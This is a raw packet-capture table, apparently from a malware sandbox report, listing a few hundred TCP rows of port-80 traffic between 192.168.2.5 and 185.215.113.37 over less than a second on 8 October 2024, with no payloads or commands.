Oct 8, 2024 22:32:09.673868895 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.673877954 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.673881054 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.673893929 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.673898935 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.673917055 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.673938990 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.674556971 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.674612999 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.674860954 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.674876928 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.674921036 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.674927950 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.674938917 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.674949884 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.674962044 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.674979925 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.674998999 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.675116062 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.675127029 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.675137043 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.675148964 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.675159931 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.675168991 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.675169945 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.675183058 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.675187111 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.675198078 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.675209045 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.675215006 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.675236940 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.675247908 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.676119089 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.676129103 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.676139116 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.676150084 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.676162004 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.676172018 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.676173925 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.676184893 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.676196098 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.676204920 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.676207066 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.676218033 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.676228046 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.676230907 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.676248074 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.676270962 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.679575920 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.679586887 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.679595947 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.679641008 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.679651976 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.679661989 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.679672003 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.679676056 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.679708958 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.679724932 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.680052042 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.680063009 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.680073023 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.680083036 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.680094004 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.680104971 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.680110931 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.680116892 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.680129051 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.680140972 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.680140018 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.680156946 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.680177927 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.680208921 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.680224895 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.680236101 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.680247068 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.680257082 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.680268049 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.680267096 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.680279970 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.680283070 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.680294037 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.680311918 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.680339098 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.680360079 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.680371046 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.680381060 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.680404902 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.680418015 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.762067080 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.762084961 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.762098074 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.762131929 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.762157917 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.762655973 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.762669086 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.762680054 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.762693882 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.762723923 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.762742996 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.762938023 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.762950897 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.762963057 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.762973070 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.762986898 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.763026953 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.763063908 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.763252020 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.763263941 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.763289928 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.763305902 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.763309002 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.763319969 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.763334990 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.763346910 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.763350964 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.763360023 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.763372898 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.763377905 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.763390064 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.763402939 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.763417006 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.763421059 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.763428926 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.763442993 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.763453960 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.763458967 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.763470888 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.763506889 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.763545990 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.763557911 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.763569117 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.763581991 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.763592005 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.763593912 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.763607025 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.763612032 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.763621092 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.763643026 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.763669014 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.763847113 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.763866901 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.763880014 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.763890982 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.763905048 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.763916969 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.763931036 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.763935089 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.763942957 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.763957977 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.763974905 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.764003992 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.764116049 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.764128923 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.764142036 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.764153957 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.764166117 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.764173031 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.764185905 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.764209986 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.764250994 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.764262915 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.764273882 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.764286041 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.764297009 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.764306068 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.764306068 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.764322042 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.764333010 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.764354944 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.764368057 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.764569998 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.764581919 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.764594078 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.764605045 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.764616013 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.764626026 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.764626980 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.764641047 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.764652967 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.764655113 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.764667034 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.764674902 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.764679909 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.764692068 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.764699936 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.764713049 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.764727116 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.764741898 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.764764071 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.764786959 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.765079021 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.765090942 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.765100956 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.765111923 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.765129089 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.765130043 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.765142918 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.765161037 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.765165091 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.765173912 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.765175104 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.765186071 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.765197039 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.765208006 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.765208960 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.765224934 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.765235901 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.765237093 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.765250921 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.765259027 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.765264034 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.765275955 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.765285015 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.765316010 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.765476942 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.765490055 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.765535116 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.770025969 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.770086050 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.770087957 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.770096064 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.770133018 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.770148993 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.770183086 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.770195007 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.770215988 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.770226955 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.770227909 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.770240068 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.770251989 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.770255089 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.770287991 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.770313025 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.770329952 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.770342112 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.770351887 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.770364046 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.770373106 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.770374060 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.770389080 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.770401001 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.770420074 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.770442963 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.770456076 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.770515919 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.770526886 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.770539045 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.770553112 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.770577908 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.770606995 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.770612001 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.770623922 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.770636082 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.770651102 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.770675898 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.770960093 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.770972013 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.770982027 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.770993948 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.771009922 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.771018982 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.771023035 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.771040916 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.771048069 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.771079063 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.853080988 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.853102922 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.853117943 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.853131056 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.853142977 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.853153944 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.853157997 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.853168964 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.853179932 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.853193998 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.853199959 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.853223085 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.853631020 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.853642941 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.853653908 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.853667974 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.853684902 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.853693008 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.853719950 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.853730917 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.853743076 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.853754044 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.853754997 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.853766918 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.853769064 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.853787899 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.853806973 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.853856087 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.853867054 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.853877068 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.853888035 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.853889942 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.853899956 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.853905916 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.853913069 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.853923082 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.853945017 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.853998899 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.854016066 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.854039907 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.854058981 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.854065895 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.854079962 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.854090929 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.854104042 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.854113102 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.854116917 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.854135990 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.854149103 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.854717970 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.854729891 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.854739904 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.854753017 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.854758978 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.854764938 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.854777098 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.854782104 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.854792118 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.854804039 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.854804039 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.854815006 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.854825020 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.854827881 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.854835987 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.854846954 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.854851961 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:09.854859114 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:09.854872942 CEST	80	49704	185.215.113.37	192.168.2.5
